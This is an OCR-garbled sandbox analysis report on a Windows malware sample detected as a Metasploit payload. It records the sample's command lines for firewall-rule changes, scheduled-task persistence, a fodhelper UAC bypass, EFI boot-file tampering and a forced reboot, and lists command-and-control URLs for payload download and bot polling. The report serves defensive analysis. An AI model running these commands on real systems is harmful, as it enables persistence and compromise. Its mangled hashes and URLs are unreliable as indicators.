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System Behavior
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General
File Activities
File Written
Registry Activities
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Key Value Created

Analysis Process: svchost.exe PID: 6436 Parent PID: 572
General
File Activities

Analysis Process: svchost.exe PID: 4072 Parent PID: 572
General

Analysis Process: svchost.exe PID: 6272 Parent PID: 572
General
File Activities

Analysis Process: svchost.exe PID: 3076 Parent PID: 572
General
Registry Activities

Analysis Process: svchost.exe PID: 6336 Parent PID: 572
General
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General
File Activities
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General
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General
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General
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General
File Activities
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File Read
Registry Activities
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General
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General
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General
File Activities

Analysis Process: conhost.exe PID: 4004 Parent PID: 4036
General

Analysis Process: schtasks.exe PID: 7076 Parent PID: 3192
General
File Activities

Analysis Process: conhost.exe PID: 7100 Parent PID: 7076
General

Analysis Process: csrss.exe PID: 7108 Parent PID: 664
General
File Activities

File Written

Analysis Process: mountvol.exe PID: 5656 Parent PID: 3192
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Windows Analysis Report 4t4y4r89UZ

Overview
General Information Detection Classification
Sample 4t4y4r89UZ (renamed file -
Name: extension from none to MALICIOUS Yara detected Metasploit Payload
exe)

Multi AV Scanner detection for subm...
Analysis ID: 519673

Detected unpacking (ovenwrites its o...

@
«Q
>
2
c
=
@
]

MDS: 14c0d8425930cc..

. Sigma detected: Schedule system p...
SHAL: 07fd6746417c892. Y Y '
SHA256: fea538eff5bcocd. .. Detected unpacking (changes PE se...
Tags: Antivirus detection for URL or domain
Infos: n E ‘f il Q & Antivirus detection for dropped file

Multi AV Scanner detection for dropp...

Metasploit

Score: 100 Sigma detected: System File Execu...
Range: 0-100 Uses netsh to modify the Windews n...
Whitelisted: false

X Found Tor enion address
Confidence: 100%

Creates an autostart registry key po...
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= System is wl0x64
. 4t4y4r89UZ.exe (PID: 5272 cmdline: "C:\Users\user\Desktop\4t4y4r89UZ.exe" MD5: 14C0D8425930CCEC0566B04864A05670)
. 4t4y4r89UZ.exe (PID: 5300 cmdline: C:\Users\user\Desktop\4t4y4r89UZ.exe MD5: 14C0D8425930CCEC0566B04864A05670)
cmd.exe (PID: 2012 cmdline: C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe

enable=yes" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

. csrss.exe (PID: 916 cmdline: C:\Windows\rss\csrss.exe MD5: 14C0D8425930CCEC0566B04864A05670)
e [ netsh.exe (PID: 7080 cmdline: netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes MD5:
98CC37BBF363A38834253E22C80A8F32)
. 'A csrss.exe (PID: 3192 cmdline: C:\Windowsl\rss\csrss.exe /305-305 MD5: 14C0D8425930CCEC0566B04864A05670)
e (W schtasks.exe (PID: 4036 cmdline: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F MD5:

838D346D1D28F00783B7A6C6BD0O3A0DA)
conhost.exe (PID: 4004 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e W schtasks.exe (PID: 7076 cmdline: schtasks /delete /tn ScheduledUpdate /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)
. conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [m mountvol.exe (PID: 5656 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)
conhost.exe (PID: 3012 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [m mountvol.exe (PID: 2224 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)
. conhost.exe (PID: 5800 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [m] mountvol.exe (PID: 5784 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)
. conhost.exe (PID: 1956 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e (B mountvol.exe (PID: 7104 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)
conhost.exe (PID: 5108 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B shutdown.exe (PID: 5384 cmdline: shutdown -r -t 5 MD5: E2EB9CCOFE26E28406FB6F82F8ES1B26)
. conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
svchost.exe (PID: 6436 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 4072 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 6272 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 3076 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 6336 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 6896 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
SgrmBroker.exe (PID: 6784 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EAG)
svchost.exe (PID: 6848 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
TrustedInstaller.exe (PID: 6756 cmdline: C:\Windows\servicing\TrustedInstaller.exe MD5: 4578046C54A954C917BB393B70BA0AEB)
csrss.exe (PID: 1240 cmdline: "C:\Windows\rss\csrss.exe" MD5: 14C0D8425930CCEC0566B04864A05670)
cmd.exe (PID: 7140 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 5580 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ fodhelper.exe (PID: 6256 cmdline: fodhelper MD5: 1D1F9E564472A9698F 1BE3FOFEB9864B)
o [ fodhelper.exe (PID: 5776 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 1D1F9E564472A9698F1BE3FIFEBI864B)
e [ fodhelper.exe (PID: 6016 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 1D1F9E564472A9698F1BE3FIFEBI864B)
. csrss.exe (PID: 5360 cmdline: "C:\Windows\rss\csrss.exe" MD5: 14C0D8425930CCEC0566B04864A05670)
e [ svchost.exe (PID: 6580 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
. csrss.exe (PID: 7108 cmdline: C:\Windows\rss\csrss.exe MD5: 14C0D8425930CCEC0566B04864A05670)
. csrss.exe (PID: 3016 cmdline: "C:\Windows\rss\csrss.exe" MD5: 14C0D8425930CCEC0566B04864A05670)
@l cmd.exe (PID: 4400 cmdline: C:\Windows\Sysnative\cmd.exe /C fodhelper MD5: 4E2ACFAF8A396486AB4268C94A6A245F)
conhost.exe (PID: 3212 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o [ fodhelper.exe (PID: 2528 cmdline: fodhelper MD5: 1D1F9E564472A9698F1BE3FIFEB9I864B)
o [m fodhelper.exe (PID: 3932 cmdline: "C:\Windows\system32\fodhelper.exe” MD5: 1D1F9E564472A9698F1BE3FIFEB9I864B)
o [B] svchostexe (PID: 6488 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
= cleanup

.

.

FEEEAEEE

= -

.

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
0000000A.00000003.299643807.0000000005C5 JoeSecurity_MetasploitPay Yara detected Joe Security
A000.00000004.00000001.sdmp load_3 Metasploit

Payload
0000002A.00000002.376433226.000000000040 JoeSecurity_MetasploitPay Yara detected Joe Security
0000.00000040.00020000.sdmp load_3 Metasploit

Payload
00000032.00000003.393407437.000000000638 JoeSecurity_MetasploitPay Yara detected Joe Security
A000.00000004.00000001.sdmp load_3 Metasploit

Payload
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Source

0000000E.00000003.327032138.000000000638
A000.00000004.00000001.sdmp

00000022.00000003.354921763.000000000638
A000.00000004.00000001.sdmp

Unpacked PEs

Source

0.2.4t4y4r89UZ.exe.9a56e0.2.raw.unpack

23.2.csrss.exe.9ab080.0.raw.unpack

23.3.csrss.exe.65540e0.3.raw.unpack

14.3.csrss.exe.655bce0.3.raw.unpack

10.2.4t4y4r89UZ .exe.9ad2e0.0.raw.unpack

Sigma Overview

System Summary:

Rule Description

JoeSecurity_MetasploitPay Yara detected

load_3 Metasploit
Payload
JoeSecurity_MetasploitPay Yara detected
load_3 Metasploit
Payload
Click to see the 19 entries
Rule Description

Author

Joe Security

Joe Security

Author

MAL_ME_RawDisk_Agent Detects suspicious Florian Roth

_Jan20_2 malware using

EIRawDisk

MAL_ME_RawDisk_Agent Detects suspicious Florian Roth

_Jan20_2 malware using

EIRawDisk

MAL_ME_RawDisk_Agent Detects suspicious Florian Roth

_Jan20_2 malware using

EIRawDisk

MAL_ME_RawDisk_Agent Detects suspicious Florian Roth

_Jan20_2 malware using

EIRawDisk

MAL_ME_RawDisk_Agent Detects suspicious Florian Roth

_Jan20_2 malware using

EIRawDisk

Click to see the 99 entries

Strings

Strings

0x444b8:$s2: The Magic Word!

0x505f8:$s2: The Magic Word!

0x44818:$s3: Software\Oracle\VirtualBox
0x444a7:$scl: 00 5C 00 5C 00 2E 00 5C 00 25 00 73

0x3eb18:$s2: The Magic Word!

Ox4ac58:$s2: The Magic Word!

0x3ee78:$s3: Software\Oracle\VirtualBox
0x3eb07:$scl: 00 5C 00 5C 00 2E 00 5C 00 25 00 73

0x444b8:$s2: The Magic Word!

0x505f8:$s2: The Magic Word!

0x44818:$s3: Software\Oracle\VirtualBox
0x444a7:$scl: 00 5C 00 5C 00 2E 00 5C 00 25 00 73

0x3c8b8:$s2: The Magic Word!

0x489f8:$s2: The Magic Word!

0x3ccl18:$s3: Software\Oracle\VirtualBox
0x3c8a7:$scl: 00 5C 00 5C 00 2E 00 5C 00 25 00 73

0x3c8b8:$s2: The Magic Word!

0x489f8:$s2: The Magic Word!

0x3cc18:$s3: Software\Oracle\VirtualBox
0x3c8a7:$scl: 00 5C 00 5C 00 2E 00 5C 00 25 00 73

Sigma detected: Windows Processes Suspicious Parent Directory

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file
Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Copyright Joe Security LLC 2021
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=

Compliance:

Detected unpacking (overwrites its own PE header)

]‘

Networking:

]‘

System Summary:

aa

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

= “

Persistence and Installation Behavior:

Boot Survival:

=

Hooking and other Techniques for Hiding and Protection:

‘]

Malware Analysis System Evasion:

]‘]

HIPS | PFW | Operating System Protection Evasion:

]‘

Lowering of HIPS | PFW | Operating System Security Settings:

Remote Access Functionality:

=

Yara detected Metasploit Payload

Mitre Att&ck Matrix
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Bin  JDDHMPC
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GIGIYTFFYT DUUDTUB

0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
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Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

B:\EFI\Boot\old.efi (copy) 0% ReversingLabs
B:\EFI\Microsoft\Boot\fw.efi (copy) 0% ReversingLabs
C:\EFI\Boot\EfiGuardDxe.efi 0% ReversingLabs
C:\EFI\Boot\bootx64.efi 0% ReversingLabs
C:\EFI\Microsoft\Boot\bootmgfw.efi 0% ReversingLabs

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http://https://retoti.comidentifier 0% Avira URL Cloud  safe
http://https://trumops.comhttps://retoti.comhttps://trumops.comhttps:/retoti.comFirstinstallDateFirstinsta 0% Avira URL Cloud safe
http:i/https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls: 0% URL Reputation safe
http:ifhttps://trumops.comhttps://retoti.comhttps://trumops.comhttps:/retoti.comS-1-5-21-3853321935- 0% Avira URL Cloud safe
212556

http:/fgais.cs.ccu.edu.tw/robot.php)Gulper 0% Virustotal Browse
http:/fgais.cs.ccu.edu.tw/robot.php)Gulper 0% Avira URL Cloud safe
http:i/https://logs.trumops.com 0% Avira URL Cloud safe
http:/fwww.spidersoft.com)Wget/1.9 0% Avira URL Cloud safe
http:ifhttps://logs.trumops.comhttps://runmodes.com/api/loghttps://server8.trumops.comC: 0% Avira URL Cloud safe
http:// 0% Avira URL Cloud safe
https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionM

ic

http:ifhttps://retoti.com 0% Avira URL Cloud safe
http://https://trumops.comif-unmodified-sinceillegal 0% Avira URL Cloud safe
http:ifhelp.ya 0% Avira URL Cloud safe
http://devlog.gregarius.net/docs/ua)Links 0% URL Reputation safe
hitp://gohnot.com/61c75dbee3f325b4d87cddaf5bae3393/watchdog.exe 0% Avira URL Cloud safe
http:// 0% Avira URL Cloud safe
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributoriDCampaignl

DOs

Mptpsiunmodescomiapifog  10%  A@URLCluwd maware
http:// 0% Avira URL Cloud safe
https://server8.trumops.comserver8.trumops.com:443server8.trumops.com:443tcpserver8.trumops.com

http:/fgrub.org)Mozilla/5.0 0% Avira URL Cloud safe
http:/fwww.everyfeed.c 0% Avira URL Cloud safe
http://https://server8.trumops.com 0% Avira URL Cloud safe
http:ifhttps://trumops.com 0% Avira URL Cloud safe
http:/fwww.bingmapsportal.comsv 0% URL Reputation safe
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https://www.virustotal.com/gui/file/fea538eff5bc9cd3970edda4b3ddfa0e72505b01dc207e47d8112074720fa05e/detection/f-fea538eff5bc9cd3970edda4b3ddfa0e72505b01dc207e47d8112074720fa05e-1636591673
https://www.metadefender.com/#!/results/file/YnpJeE1Ea3lOMlpIYUZwVVNWaHZVV1FGbGx6MHd2VW1G/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDQxNGxiWUc0NnBuWk1MdkNWQi1KSnM/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTAxOVFYWk90OGJHTWlROV9WRDY5NmVo/regular/analysis
https://www.virustotal.com/gui/url/af4cac410f4143f0a45fa7144df9c35e241e32b5dc8a62b7cfa87b6a6acca7d6/detection/u-af4cac410f4143f0a45fa7144df9c35e241e32b5dc8a62b7cfa87b6a6acca7d6-1528801602

Source
http:/fwww.exabot.com/go/robot)Opera/9.80
http:/fwww.googlebot.com/bot.html)Links
http://https://trumops.comhittps://retoti.com

http://
https://server8.trumops.comserver8.trumops.com:443server8.trumops.com:443tcpserver8.trumops.comw
s2_3

http://https://server8.trumops.com/api/pollf
http://https:/itrumops.com/api/install-failureinvalid
http:ifhttps://activity.windows.comr
http:ifhttps://%s.xboxlive.com
http:ifhttps://server8.trumops.com/api/poll
http:/fgohnot.com/61c75dbee3f325b4d87cddafShae3393
hitp://https://_bad_pdb_file.pdb
http:/fwww.bloglines.com)F

http:/fmisc.yahoo.com.cn/he

http:ifhttps://dynamic.t

Detection

0%
0%
0%
0%

0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud

Avira URL Cloud
Avira URL Cloud
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
URL Reputation

Label Link

safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

http:if
https://server8.trumops.comc=3e3f6b9a36a75d40&uuid=server8.trumops.com:443server8.trumops.com:
443tcp

http://crl.g

http://https://blockchain.infoindex

http:ifhttps://sitescore.aiValue

http:/fwww.avantbrowser.com)MOT-V9mm/00.62
http:ifhttps://server8.trumops.com/bots/post-ia-data?uuid=f7873597-7b36-4441-9416-097456f134ae

http:ifhttps://server8.trumops.com/api/cdn?c=3e3f6b9a36a75d40&uuid=f7873597-7b36-4441-9416-
097456f134ae

http:ifhttps://%s.dnet.xboxlive.com

Domains and IPs

Contacted Domains

Name P Active
runmodes.com 104.21.34.203 true
gohnot.com 172.67.196.11 true
server8.trumops.com 104.21.79.9 true
trumops.com unknown unknown
f7873597-7b36-4441-9416- unknown unknown
097456f134ae.uuid.trumops.com

logs.trumops.com unknown unknown
e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops unknown unknown
.com

Contacted URLs

Name Malicious
http:/fgohnot.com/61c75dbee3f325b4d87cddafShae3393/watchdog.exe false
http:ifhttps://server8.trumops.com/api/poll false
http:ifhttps://server8.trumops.com/bots/post-ia-data?uuid=f7873597-7b36-4441-9416- false
097456f134ae

hitp://https://server8.trumops.com/api/cdn?c=3e3f6b9a36a75d40&uuid=f7873597-7b36-4441- false
9416-097456f134ae

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag
172.67.139.144 unknown United States S

Copyright Joe Security LLC 2021

0%

0%
0%
0%
0%
0%
0%

0%

Malicious

false
false
false
false

false

false

false

Avira URL Cloud

URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

URL Reputation

Antivirus Detection

Antivirus Detection

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

e Avira URL Cloud: safe

ASN
13335

safe

safe
safe
safe
safe
safe

safe

safe

ASN Name
CLOUDFLARENETUS

Reputation
high
high
high
high
high

high
high

Reputation

unknown

unknown

unknown

unknown

Malicious

false
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P Domain Country Flag ASN ASN Name Malicious

104.21.34.203 runmodes.com United States = 13335 CLOUDFLARENETUS false
104.21.79.9 server8.trumops.com United States £S5 13335 CLOUDFLARENETUS false
172.67.207.136 unknown United States = 13335 CLOUDFLARENETUS false
172.67.196.11 gohnot.com United States £S5 13335 CLOUDFLARENETUS false
General Information
Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 519673
Start date: 11.11.2021
Start time: 01:56:09
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 14m 22s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: 4t4y4r89UZ (renamed file extension from none to exe)
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 53
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 1
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.rans.troj.evad. WinEXE@62/18@12/5
EGA Information: Failed
HDC Information: e Successful, ratio: 96.7% (good quality ratio 50%)
e Quality average: 39.2%
e Quality standard deviation: 43.3%
HCA Information: Failed
Cookbook Comments: e Adjust boot time
e Enable AMSI
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
01:57:03 API Interceptor 9x Sleep call for process: 4t4y4r89UZ.exe modified
01:57:12 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RoughSnow "C:\Windows\rss\csrss.exe"
01:57:20 Autostart Run: HKCUG64\Software\Microsoft\Windows\CurrentVersion\Run RoughSnow "C:\Windows\rss\csrss.exe"
01:57:23 API Interceptor 9x Sleep call for process: csrss.exe modified
01:57:25 Task Scheduler Run new task: csrss path: C:\Windows\rss\csrss.exe

Joe Sandbox View | Context
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IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

B:\EFI\Bootlold.efi (copy) Y
Process: C:\Windows\rss\csrss.exe

File Type: MS-DOS executable

Category: dropped

Size (bytes): 7680

Entropy (8bit):  4.486535052248291

Encrypted: false

SSDEEP: 48:gITSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+107InTJ/RIW3afIX:stOWU+rpT8ZeSNul7IEKJAL+pt/63

MD5: 17ACB515B5FA45DEF030B191E5BC7991

SHA1L: 539E0729C6FE8460F20A0DF044DCESD3AB629E7C

SHA-256: 9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91FODO0OEE

SHA-512: 5057F569321E7F3E40CF427D87FBFD4331E33914A61FABO59AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062E4
Malicious: false

Antivirus: e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:

B:\EFI\Microsoft\Boot\fw.efi (copy) v
Process: C:\Windows\rss\csrss.exe

File Type: MS-DOS executable

Category: dropped

Size (bytes): 7680

Entropy (8bit):  4.486535052248291

Encrypted: false

SSDEEP: 48:gITSYARWUA4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+107InTJ/ROW3afIX:stOWU+rpT8ZeSNul7IEKJAL+pt/63

MD5: 17ACB515B5FA45DEF030B191E5BC7991

SHAL: 539E0729C6FE8460F20A0DF044DCESD3AB629E7C

SHA-256: 9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906 E908EF3F91FODOOEE

SHA-512: 5057F569321E7F3E40CF427D87FBFD4331E33914A61FABO59AES70BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3ESBC8116F6600062E/
Malicious: false

Antivirus: e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:
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C:\EFI\Boot\EfiGuardDxe.efi v

Process: C:\Windows\rss\csrss.exe
File Type: MS-DOS executable
Category: dropped

Size (bytes): 279552

Entropy (8bit):  4.553173975914215

Encrypted: false

SSDEEP: 3072:ekODsOuozgl9aXsRzZZZZrUhFapDL4k2yntc:ekeklesRD6yt

MDS5: 2B84CB96AE6280C2020FA46E4ABA07D8

SHA1L: E920E40CFCOC6A805D657C8F23F9C0612CD39F59

SHA-256: 01E86A4DFE6EODE7857B3CF2FAFD041C8B3A3241E00844CB6BFBD3BFAE2D36BC

SHA-512: F1A6598116F78FBA1F9531301A7313AC204BAB3B7AEBC299F69F2ED406F4EDAFC3410DB860E93D0ODC7C24398F5A7FF595764400F31A3A06679FD6ECOEFB116D
Malicious: false

Antivirus: e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:

.@..H.xdata..X.. ....@..B.reloc..
C:\EFI\Boot\bootx64.efi Y
Process: C:\Windows\rss\csrss.exe
File Type: MS-DOS executable
Category: dropped
Size (bytes): 7680
Entropy (8bit):  4.486535052248291
Encrypted: false
SSDEEP: 48:gITSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+107InTJ/RIW3afIX:stOWU+rpT8ZeSNul7IEKJAL+pt/63
MD5: 17ACB515B5FA45DEF030B191E5BC7991
SHA1L: 539E0729C6FE8460F20A0DF044DCESD3AB629E7C
SHA-256: 9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91FODOOEE
SHA-512: 5057F569321E7F3E40CF427D87FBFD4331E33914A61FABO59AES70BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3ES5BC8116F6600062E4
Malicious: false
Antivirus: e Antivirus: ReversingLabs, Detection: 0%
Reputation: unknown
Preview:

C:\EFI\Microsoft\Boot\bootmgfw.efi v
Process: C:\Windowsl\rss\csrss.exe

File Type: MS-DOS executable

Category: dropped

Size (bytes): 7680

Entropy (8bit):  4.486535052248291

Encrypted: false

SSDEEP: 48:9ITSYARWU4VIDJY5fxSgwG89gAgse SNhcl7HOE4h2KP+59L+107InTI/ROW3afIX:stOWU+rpT8ZeSNul7IEKdAL+pt/63

MD5: 17ACB515B5FA45DEF030B191E5BC7991

SHAL: 539E0729C6FE8460F20A0DF044DCESD3AB629E7C

SHA-256: 9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906 E908EF3F91FODOOEE

SHA-512: 5057F569321E7F3E40CF427D87FBFD4331E33914A61FABO59AES870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3ESBC8116F6600062E/
Malicious: false

Antivirus: e Antivirus: ReversingLabs, Detection: 0%

Reputation: unknown

Preview:

C:\Users\user\AppDatal\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 65536
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C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

0.11027387102746783

false

12:26hzXm/Ey6q9995Ffsq3qQ10nMCldimE8eawHjc2i:26MI68rZLyMCldzE9BHjch
59780508EC9D4F0D75A06B5CD8FDB782
7908F113274A3C5D2BA954AB1E914E5F73B66609
9D15CA570CBA2201A2AA89A0757D23761054BDEB4EA7C69F50FECBE4998D4D14

B7C95BC2C0B513E7007F8FFB008A54ABDD07B83BCDEG615811E84CAEA2FB8B761299AC7EB871AE12D365BE726B2ADDF5D631BB38E1D7486FFB272203133667
DD

false

unknown

.@tzres.dll,.-212.
.S.y.n.cV.erbose..C:\Users\hardz\Ap.p.D.ata\Lo.cal\p.a.

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.1127826807463711

false
12:KXm/Ey6q9995FfSTw1miM3qQ10nMCldimE8eawHzalmilQcE:/I68rSk1tMLyMCldzE9BHzaltiQZ
212C7C49EC89D181D5A4009E8FBOCC8F

1332ABD28D67B9F97A94923F626D8D381D07A218
87175704COED1C2564DBD4D91C9D150DC89AF92654A30AB2ADC8ACT7B4258FC50

A1D3672051A1CC05606B363D039D8D6FDD6F55BA1A1BE2A7CF7D06C594CE3DBECT7772762682DF7A8410974E3FB6009A1BBC72FA446A0DC84998FFBA4C8943BF
6

false

unknown

@.tzres.dll,.-21.2.
.C.\Users\hardz\Ap.p.DatallLo.cal\p.a.

..U.nis.ta.ckcC.rc.ula

L.@tzres..dlLl ..c3j .
\U.nistackcC.irc.ular..e.tl

cka.ges\ActiveSy.nc\Lo.calStatelD.iag.O.u.tp.u.tD.

C:\Users\luser\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

65536

0.11264829878785992

false
12:fXm/Ey6q9995FflglmK2P3qQ10nMCldimE8eawHzalmK/N:OI68rlgliPLyMCldzE9BHzal7N
8CAOCDD2FB3FA75BEDO6C9ABD3277C05
8493F6EAG64D776A0CBD50BF83D3ADASAEEFG5AAF
4FA08F9E3A5C7550BE4DFCAE74BD8325E8FB347BD2D7A29E235F5EFOE9ECSFFD

76E671DF103A3171048058E6B6A93B182F38C19B957D8DD347A1617748ADF60EBF9334F6DABCOBD74E3AEB69AESCAADIC7E411157BBD1CBC011820370AA6A8
CB

false

unknown

@tzres..dll,.-212.. .
.@.tzres.dll,.-. . . .UnistackcCritical.cC. \Users\hardz\AppData\Loc
al\packages\AcnveSync\LocaIState\D|agOutputD|r\Un|stackCr|t|caI etl.

Process:

File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:

C:\Windowsl\rss\csrss.exe

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

101376

5.951577458824018

false
3072:U3JJpaHtGsxJZ7zmaUMf2ETb4wlGMYbuT:csTF5U3EfndT
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MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

09031A062610D77D685C9934318B4170

880F744184E7774F3D14C1BB857E21CC7FE89A6D

778BD69AF403DF3C4E074C31B3850D71BFOE64524BEA4272A802CA9520B379DD
9A276E1FOF55D35F2BF38EB093464F7065BDD30A660E6D1C62EEDSE76D1FB2201567B89DIAE6S5D2D8IDCI9B142159E36FB73BESDS5E08252A975D50544A7CDA!
true

e Antivirus: Avira, Detection: 100%
e Antivirus: Metadefender, Detection: 46%, Browse
e Antivirus: ReversingLabs, Detection: 59%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\rss\csrss.exe

PE32+ executable (console) x86-64, for MS Windows

dropped

